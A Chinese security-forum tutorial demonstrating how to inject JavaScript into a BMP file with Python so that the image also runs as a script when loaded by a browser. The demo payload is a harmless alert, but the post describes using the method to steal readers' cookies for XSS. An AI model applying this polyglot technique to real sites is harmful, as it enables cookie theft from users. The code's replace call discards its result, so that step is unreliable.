安全矩阵

 找回密码
 立即注册
搜索
查看: 4178|回复: 0

Python黑客攻防(三)图片文件攻击

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-7-6 19:06:25 | 显示全部楼层 |阅读模式
原文链接:Python黑客攻防(三)图片文件攻击

前言

本篇文章参考自《Python黑客攻防入门》,演示向一张位图(bmp后缀的图片文件)注入JavaScript脚本。

教程:

准备一张“.bmp”后缀的图片文件,可网上下载,也可自己创建。这里我用画图创建了一张,放在D盘,用010Editor编辑器打开,(010Editor编辑器可自行百度下载)可以看到图片的16进制数。42 和 4D分别对应B,M;这就是用于识别位图的“魔数”。


编写简单的JavaScript脚本,如下,运行脚本会弹出警告框。下面的js文件和HTML文件都是通过pycharm创建的。
  1. alert("Hello Python!")
复制代码


编写向图片插入JavaScript脚本的python代码。图片建议不要放在C盘桌面,以免可能出错,运行代码后010Editor编辑器会弹出警告。点击重新加载,可以看到数据的最下面有刚才编写的JavaScript脚本。
  1. fname = r"D:\1.bmp"
  2. pfile = open(fname, "r+b") #以二进制打开读取图片
  3. buff = pfile.read()
  4. #替换掉可能引发错误的*与/
  5. buff.replace(b'\x2A\x2F',b'\x00\x00')
  6. pfile.close()

  7. pfile = open(fname, "w+b")
  8. pfile.write(buff)
  9. #以起始位置为基准,光标后移两位
  10. pfile.seek(2,0)
  11. pfile.write(b'\x2F\x2A') #插入注释,在“魔数”后插入代表注释开始的标识“/*”
  12. pfile.close()   #“魔数”正确,浏览器即可识别为位图文件,无论图像数据是否损坏

  13. pfile = open(fname,"ab")
  14. pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
  15. pfile.write(open('hello.js', 'rb').read()) #插入js脚本
  16. pfile.close()
  17. print('插入成功!')
复制代码





编写HTML代码,然后用Microsoft Edge浏览器打开,出现了提示框,说明插入的JavaScript脚本运行了。
  1. <img src="D:\1.bmp" />   
  2. <script src="D:\1.bmp"></script>
复制代码




总结

示例中编写的hello.js脚本很简单,只简单弹出提示框。如果向位图插人的是段获取PC中的Cookie并传送到第三方网站的脚本,将这种位图上传到用户阅读量很大的公告栏后,用户阅读公告时,其Cookie信息就会被传送到黑客指定的网站。黑客利用这些信息可以发动XSS攻击。





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 20:26 , Processed in 0.012071 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表